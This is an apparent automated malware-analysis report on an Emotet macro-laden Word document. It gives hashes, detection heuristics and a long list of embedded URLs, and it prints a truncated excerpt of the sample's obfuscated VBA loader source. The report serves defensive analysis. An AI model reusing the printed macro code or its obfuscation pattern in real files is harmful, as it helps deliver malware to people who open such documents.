Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 4b89c7d4fc3f0788…

MALICIOUS

Office (OLE)

302.0 KB Created: 2019-10-14 21:18:00 Authoring application: Microsoft Office Word First seen: 2020-09-04
MD5: ab74f534c9d2132e391bce69930a3c9d SHA-1: 29441e6dd5357532115e2f807a02a33267689ef8 SHA-256: 4b89c7d4fc3f07884337dec1599f8da2d1ca26344e95488eaa3b4e6f1c6ea391
290 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1566.001 Spearphishing Attachment

The sample contains heavily obfuscated VBA macros, including an auto-executing loader, which is a strong indicator of Emotet activity. The script attempts to download and execute a second-stage payload from a list of URLs, such as https://malinda.com/concrete/corners/paymente. The presence of an AutoOpen macro and GetObject calls further supports this assessment.

Heuristics 9

  • ClamAV: Doc.Downloader.Emotet-10022072-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-10022072-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Fake invoice / payment lure low SE_INVOICE_LURE
    Document contains invoice or payment language paired with an action verb — useful context when combined with link, macro, or attachment indicators
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://malinda.com/concrete/corners/paymente In document text (OLE body)
    • http://berta.net/movies--games/backing-up/blackIn document text (OLE body)
    • http://jimmy.name/metrics/turnpike/user-centric�gIn document text (OLE body)
    • https://lacey.com/central/tactics/de-engineeredIn document text (OLE body)
    • http://enrico.info/investment-account/transmitter/daleIn document text (OLE body)
    • https://jerrell.net/malagasy-ariary/sportsIn document text (OLE body)
    • http://liliane.name/loop/connecticutIn document text (OLE body)
    • http://hipolito.name/somaliaIn document text (OLE body)
    • http://brook.net/identityIn document text (OLE body)
    • http://donald.info/handmade-fresh-chairIn document text (OLE body)
    • http://aurore.info/indexing/paymentIn document text (OLE body)
    • https://jettie.info/gorgeous-metal-mouse/representativeIn document text (OLE body)
    • https://henry.net/sleek-steel-cheeseIn document text (OLE body)
    • http://pascale.biz/metrics/missionIn document text (OLE body)
    • http://furman.info/integrateIn document text (OLE body)
    • http://kian.biz/new-hampshire/productIn document text (OLE body)
    • https://terrill.biz/coordinatorIn document text (OLE body)
    • https://lance.net/streamline/savings-account/webIn document text (OLE body)
    • http://annamarie.net/unbranded-frozen-pizza/ohio���In document text (OLE body)
    • https://cale.com/central/avonIn document text (OLE body)
    • https://candelario.name/dynamic�In document text (OLE body)
    • https://stefan.name/revoIn document text (OLE body)
    • http://susanna.info/copyIn document text (OLE body)
    • https://janelle.name/jbod/input/park�In document text (OLE body)
    • http://sheila.name/music--clothingIn document text (OLE body)
    • https://kenyatta.name/responsive/maine�In document text (OLE body)
    • http://darron.biz/bricks-and-clicksIn document text (OLE body)
    • https://monique.info/deposit/invoiceIn document text (OLE body)
    • http://green.com/port/pixelIn document text (OLE body)
    • http://jerrod.biz/systemic/transmitter/home-loan-accountIn document text (OLE body)
    • http://rowan.info/awesomeIn document text (OLE body)
    • http://angel.biz/outdoors--booksIn document text (OLE body)
    • http://davin.org/fresh/total/checking-accountIn document text (OLE body)
    • https://alanna.org/flats/lebanonIn document text (OLE body)
    • https://scotty.biz/moroccan-dirhamIn document text (OLE body)
    • https://cole.net/foreground/plains/afghanistanIn document text (OLE body)
    • https://salvador.name/us-dollar/roi/cssIn document text (OLE body)
    • http://tamia.info/enable/connecting/program�In document text (OLE body)
    • https://neil.net/exclusive/moldovan-leu/savings-accountIn document text (OLE body)
    • https://mallie.biz/withdrawal/new-zealand/primary�In document text (OLE body)
    • http://breanna.name/invoice/fresh-thinkingIn document text (OLE body)
    • https://shemar.net/quantifyingIn document text (OLE body)
    • http://sim.name/investment-accountIn document text (OLE body)
    • https://clair.net/deposit/generic-steel-keyboard�In document text (OLE body)
    • http://jerrold.name/mandatory/personal-loan-account/industrial--homeIn document text (OLE body)
    • http://jo.com/senior/licensedIn document text (OLE body)
    • https://emmitt.biz/books-baby--sports/new-mexicoIn document text (OLE body)
    • https://adolphus.com/seize/practical-granite-ballIn document text (OLE body)
    • http://connie.com/input/frozenIn document text (OLE body)
    • http://may.info/neural-net/intelligent��In document text (OLE body)
    +1229 more URL(s)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 59030 bytes
SHA-256: d89f0a87189343687647807781dbd90111a0dc1ec877858eb32673916da20b4f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "a0xcc2c4a7745"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "a0x6364bc95a0b8, 0, 0, MSForms, TextBox"
Attribute VB_Control = "a0x8e644a5bd7b82, 1, 1, MSForms, TextBox"
Attribute VB_Control = "a0x41b50ad2c49ca51, 2, 2, MSForms, TextBox"
Attribute VB_Control = "a0x3c572e383ec5, 3, 3, MSForms, TextBox"
Attribute VB_Control = "a0xbfe6fec57bb24, 4, 4, MSForms, TextBox"
Attribute VB_Control = "a0x6af1fbc99b14980, 5, 5, MSForms, TextBox"

Attribute VB_Name = "a0xb444646f2967b"
Function a0x90389a8582()
On Error Resume Next
   Rem https://stefan.name/revolutionary/whiteboard https://malinda.com/concrete/corners/payment
Rem http://berta.net/movies--games/backing-up/black http://jimmy.name/metrics/turnpike/user-centric
Rem https://lacey.com/central/tactics/de-engineered http://enrico.info/investment-account/transmitter/dale
a0xc521a3720aca16b = CDate(694) + Log(a0x61aff150b874)
Rem https://jerrell.net/malagasy-ariary/sports http://liliane.name/loop/connecticut
a0xf0cdd6ef87 = Log(a0x4fab76c15b0)
Rem http://hipolito.name/somalia http://brook.net/identity
Rem http://donald.info/handmade-fresh-chair http://aurore.info/indexing/payment
a0x3c1fafd63c959d9 = a0x8201d66f0188040
Rem https://jettie.info/gorgeous-metal-mouse/representative https://henry.net/sleek-steel-cheese
a0xaad0d71702 = a0x30f2d7a55afae
Rem http://pascale.biz/metrics/mission http://furman.info/integrate
Rem http://kian.biz/new-hampshire/product https://terrill.biz/coordinator
Rem https://lance.net/streamline/savings-account/web http://annamarie.net/unbranded-frozen-pizza/ohio
Rem https://cale.com/central/avon https://candelario.name/dynamic
a0x389182f35abf9 = CDate(166) + Log(a0x692748113b6542)
Rem http://susanna.info/copy https://janelle.name/jbod/input/park
a0x8bada74564c9718 = Log(a0x6760426652da14)
Rem http://sheila.name/music--clothing https://kenyatta.name/responsive/maine
Rem http://darron.biz/bricks-and-clicks https://monique.info/deposit/invoice
a0x3f09e4c10c7a13 = a0x3ebb1b5b31
Rem http://green.com/port/pixel http://jerrod.biz/systemic/transmitter/home-loan-account
a0x99b50e4177 = a0xb5f8ac42d0728b1
Rem http://rowan.info/awesome http://angel.biz/outdoors--books
Rem http://davin.org/fresh/total/checking-account https://alanna.org/flats/lebanon
   Rem https://scotty.biz/moroccan-dirham https://cole.net/foreground/plains/afghanistan
Rem https://salvador.name/us-dollar/roi/css http://tamia.info/enable/connecting/program
Rem https://neil.net/exclusive/moldovan-leu/savings-account https://mallie.biz/withdrawal/new-zealand/primary
a0x2ce3e1db1e8 = CDate(432) + Log(a0x1a785ba5080)
Rem http://breanna.name/invoice/fresh-thinking https://shemar.net/quantifying
a0x9bf1e37ab20f = Log(a0x707d557bf07637)
Rem http://sim.name/investment-account https://clair.net/deposit/generic-steel-keyboard
Rem http://jerrold.name/mandatory/personal-loan-account/industrial--home http://jo.com/senior/licensed
a0x6482bff4ad6769d = a0x58ba82dbfa700
Rem https://emmitt.biz/books-baby--sports/new-mexico https://adolphus.com/seize/practical-granite-ball
a0xe293e447d1a957 = a0x9f3ba92d2b6
Rem http://connie.com/input/frozen http://may.info/neural-net/intelligent
Rem http://vincenzo.org/associate/throughway http://jenifer.org/4th-generation/pixel/home-loan-account
Rem https://charlotte.com/advanced/smtp/inlet http://stanley.name/eyeballs/practical-frozen-car
Rem https://casimir.net/gold https://otho.biz/mews
a0x84a3d93fa5 = CDate(169) + Log(a0x1d9e8735be)
Rem https://efren.info/graphic-interface/berkshire https://hilton.name/scalable
a0x5fc03e715c057 = Log(a0xef9498b9f93269)
Rem https://kaya.biz/specialist http://mina.org/intranet/system
Rem http://phoebe.org/tcp/contextually-based http://jackeline.org/architect/alabama
a0xd5f333910a = a0xcd2f50df785596c
Rem https://malvina.biz/ftp https://kristina.net/
... (truncated)

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